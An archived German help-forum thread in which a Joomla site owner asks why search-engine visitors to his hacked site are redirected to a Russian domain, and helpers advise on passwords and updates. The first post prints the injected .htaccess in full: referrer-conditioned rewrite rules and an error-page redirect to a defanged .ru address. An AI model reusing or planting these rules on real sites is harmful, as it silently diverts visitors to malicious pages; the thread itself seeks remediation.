Zurück   Trojaner-Board > Web/PC > Netzwerk und Hardware

Netzwerk und Hardware: google und bing leiten meine Webseite immer noch auf russische Seite um

Windows 7 Hilfe zu Motherboards, CPUs, Lüfter, Raid-Controller, Digitalkameras, Treiber usw. Bitte alle relevanten Angaben zur Hardware machen. Welche Hardware habe ich? Themen zum Trojaner Entfernen oder Viren Beseitigung bitte in den Bereinigungsforen des Trojaner-Boards posten.

Antwort
Alt 24.08.2012, 09:13   #1
andeberg
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



Hallo an alle!

Meine Webseite (Joomla 1.5.22) wurde gehackt. Es wurde eine .htaccess im root eingeschleust.

Ruft man die Webseite direkt auf, fällt dies erstmal nicht auf.
Sucht man jedoch in google, bing, ... und sieht sich den Link in der Statusleiste an - scheint noch alles zu passen. Klickt man nun diesen Link an, wird man auf eine russische Seite weitergeleitet.

Ich habe die .htaccess (Datei im Anhang) ersetzt, Seite mit google Webmastertools geprüft - google konnte nichts schadhaftes feststellen.

Allerdings ist jetzt schon viel Zeit vergangen und die Seite leitet immer noch falsch weiter.

Kann mir jemand helfen?
Woran kann das noch liegen?
Muss ich nun nur auf einen erneuten Besuch von google, bing und dergl. warten?
Welche Möglichkeiten habe ich noch?

Und *schäm* wie müsste eine "ordentliche" .htaccess denn genau aussehen?

Vielen Dank für eure Hilfe,
Andi

Code:
ATTFilter
											<IfModule mod_rewrite.c>											RewriteEngine On													RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|liveinternet|filesearch|yell|openstat|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*)														RewriteRule ^(.*)$ hxxp://2014-fitnes.ru/milli?5 [R=301,L]																RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)					

RewriteRule ^(.*)$ hxxp://2014-fitnes.ru/milli?5 [R=301,L]								</IfModule>											ErrorDocument 500 hxxp://2014-fitnes.ru/milli?5
         
Angehängte Dateien
Dateityp: 7z .htaccess.7z (1,1 KB, 138x aufgerufen)

Alt 24.08.2012, 09:55   #2
andeberg
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



Hallo nochmal!

Ich habe nicht locker gelassen und weiter gesucht.
Nun habe ich noch eine .htaccess im root gefunden. Habe den Inhalt gelöscht, wieder ins web gestellt, Rechte 444.

Nun geht die Seite wieder. D.h. wenn ich nun über google oder bing suche lande ich GsD wieder auf meiner Seite.

Thema wäre erledigt - jedoch wie konnte das passieren?
Wie gesagt - ich verwende Joomla 1.5.22 (update wurde schon auf letzte Version gemacht) und natürlich sind auch einige Module im Einsatz.

Vielen Dank für eure Hilfe!!!
Gruß,
Andi
__________________


Alt 24.08.2012, 10:01   #3
Shadow
/// Mr. Schatten
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



Hallo andeberg,

Was hat dies jetzt mit Mac oder Linux zu tun? Ich verschiebe mal in Netzwerk

Schämen musst du dich eigentlich dafür, dass vermutlich dein Passwort so unsicher war (wenn es dies noch ist, dann aber in Grund und Boden ), dass jemand diese .htaccess einschleusen konnte.
ALLE Passwörter, ALLE Zugänge überprüfen, ändern und durch sichere Passwörter ersetzen.

Ein .htaccess muss nicht vorhanden sein, du kannst aber mit .htaccess-Dateien einiges steuern (wie du gemerkt hast).

Aber es können keine zwei .htaccess gleichzeitig im selben Verzeichnis vorhanden sein, also besteht der Zugang zu deinem Projekt wohl noch immer!
Unternimm gefälligst was!



Je nach dem was dein Webspace wirklich ist, solltest dafür sorgen, dass der Webserver, PHP und Joomla auf einen aktuellen, sicheren Stand kommen und das Projekt ausreichend sicher ist.
__________________
__________________

Alt 24.08.2012, 10:45   #4
andeberg
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



Danke für Deine Antwort!

Angenommen dies würde nicht über FTP hochgeladen.
Kann man soetwas (ich nicht aber eben andere) auch über Module oder Plugins in Joomla machen/hochladen oder verändern?

Und die eine .htaccess war im "html"-ordner (root der Webseite) und die andere war noch eine Ebene davor (also nicht im selben Verzeichnis).

Nochmals Danke,
Andi

Alt 24.08.2012, 10:57   #5
Shadow
/// Mr. Schatten
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



Zitat:
Zitat von andeberg Beitrag anzeigen
Kann man soetwas (ich nicht aber eben andere) auch über Module oder Plugins in Joomla machen/hochladen oder verändern?
Ich kenne mich mit Joomla nicht aus, ich kenne deinen Webserver, deinen Provider nicht, ich kennen den Stand des Vertrages und der Software nicht: Prinzipiell aber kann es möglich sein (ist es möglich), ohne einen dir bekannten FTP-Zugang Daten mit oder ohne FTP auf dem Webserver zu erzeugen oder hochzuladen.

Je nach Vertrag und Beschränkungen, sind aber die weiteren Möglichkeiten nicht oder nur sehr unwahrscheinlich, eventuell nur mit Sicherheitslücken beim Provider, bzw. die der Provider verantworten muss, machbar.
Zitat:
Zitat von andeberg Beitrag anzeigen
Und die eine .htaccess war im "html"-ordner (root der Webseite) und die andere war noch eine Ebene davor (also nicht im selben Verzeichnis).
Okay, dann soweit Entwarnung.

Übrigens: Website != Webseite, und auch "root" (vor allem ohne nähere Beschreibung) ist eigentlich nur das echte Wurzelverzeichnis.

__________________
alle Tipps + Hilfen aller Helfer sind ohne Gewähr + Haftung
keine Hilfe via PN
hier ist ein Forum, jeder kann profitieren/kontrollieren - niemand ist fehlerfrei
tendenzielle Beachtung der Rechtschreibregeln erhöht die Wahrscheinlichkeit einer Antwort
-


Alt 25.08.2012, 09:30   #6
andeberg
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



Vielen Dank für deine Hilfe!

Für mich ist dieses Thema nun abgeschlossen. Ich werde deinen Rat befolgen. Habe auch für Joomla eine Firewall installiert (möchte Zugriffe beobachten) und werde mich mit meinem Provider kurzschließen.

Ev. kann jemand das Thema beenden - ich finden den "Button" dafür nicht ;-)

Thx und Gruß,
Andi

Alt 25.08.2012, 09:48   #7
Shadow
/// Mr. Schatten
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



In der Regel bleiben die Themen bei uns offen, da brauchst du dir keine Gedanken oder Arbeit machen.
__________________
alle Tipps + Hilfen aller Helfer sind ohne Gewähr + Haftung
keine Hilfe via PN
hier ist ein Forum, jeder kann profitieren/kontrollieren - niemand ist fehlerfrei
tendenzielle Beachtung der Rechtschreibregeln erhöht die Wahrscheinlichkeit einer Antwort
-


Alt 01.09.2012, 08:47   #8
Lucky
/// Helfer-Team
 
google und bing leiten meine Webseite immer noch auf russische Seite um - Standard

google und bing leiten meine Webseite immer noch auf russische Seite um



Prüfe bitte deine Joomla Installation. Ist sie aktuell?
__________________
Kein Support per PM!

Antwort

Themen zu google und bing leiten meine Webseite immer noch auf russische Seite um
access, anhang, aussehen, besuch, code, datei, direkt, erneute, ersetzt, falsch, gen, google, klick, klickt, konnte, leiten, link, möglichkeiten, nichts, russische seite, schei, statusleiste, stelle, webmaster, webseite



Ähnliche Themen: google und bing leiten meine Webseite immer noch auf russische Seite um


  1. Windows 8.1: Online-Banking-Trojaner (BAWAG) entfernt, noch immer falsche Login-Seite
    Plagegeister aller Art und deren Bekämpfung - 15.11.2015 (24)
  2. Reddit und Bing künftig nur noch verschlüsselt
    Nachrichten - 18.06.2015 (0)
  3. Bing Bar wird immer wieder installiert
    Plagegeister aller Art und deren Bekämpfung - 16.03.2015 (1)
  4. Email von Vodafone mit pdf, die auf russische Seite verzweigt leider geöffnet!
    Log-Analyse und Auswertung - 09.07.2014 (27)
  5. Win 8.1: Internetzugriff "umgeleitet" oder langsam, Google will Captcha, statt FritzBox russische Seite
    Log-Analyse und Auswertung - 10.01.2014 (9)
  6. Google Suchbegriff: Meine Homepage -> Weiterleitung führt zu fremde Seite
    Plagegeister aller Art und deren Bekämpfung - 02.02.2013 (1)
  7. Suchmaschinen leiten auf falsche Seite weiter
    Plagegeister aller Art und deren Bekämpfung - 31.10.2012 (10)
  8. Suchmaschinen wie z.B Google leiten auf falsche Seite um
    Log-Analyse und Auswertung - 26.10.2012 (13)
  9. Wurde mein PC gehackt? Kann der Angreifer immer noch meine Passwörter sehen?
    Log-Analyse und Auswertung - 14.08.2012 (5)
  10. Weiterleitung bei google (bing etc.)-Suche auf falsche Seite "rocketnews.com/...."
    Plagegeister aller Art und deren Bekämpfung - 13.05.2012 (2)
  11. Werde über Google immer auf die Seite www.abnow.com geleitet
    Plagegeister aller Art und deren Bekämpfung - 05.02.2012 (1)
  12. Lvvm.exe, zidaars.exe, 100.exe und Google leitet immer weiter auf Seite mit nem Registrybooster
    Log-Analyse und Auswertung - 26.01.2012 (2)
  13. Firefox öffnet immer ein tab mit einerleeren seite (mit inhalt google)
    Log-Analyse und Auswertung - 26.12.2011 (1)
  14. Cisco-CD-ROMs leiten auf Malware-Seite um
    Nachrichten - 04.08.2011 (0)
  15. Google und Bing leiten auf falsche Seiten weiter
    Log-Analyse und Auswertung - 23.05.2011 (1)
  16. Werde bei Google immer auf andere Seite weitergeleitet...
    Log-Analyse und Auswertung - 01.10.2010 (13)
  17. Meine Festplatte immer noch verseucht mit vieren!!!
    Plagegeister aller Art und deren Bekämpfung - 15.01.2005 (11)

Zum Thema google und bing leiten meine Webseite immer noch auf russische Seite um - Hallo an alle! Meine Webseite (Joomla 1.5.22) wurde gehackt. Es wurde eine .htaccess im root eingeschleust. Ruft man die Webseite direkt auf, fällt dies erstmal nicht auf. Sucht man jedoch - google und bing leiten meine Webseite immer noch auf russische Seite um...
Archiv
Du betrachtest: google und bing leiten meine Webseite immer noch auf russische Seite um auf Trojaner-Board

Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.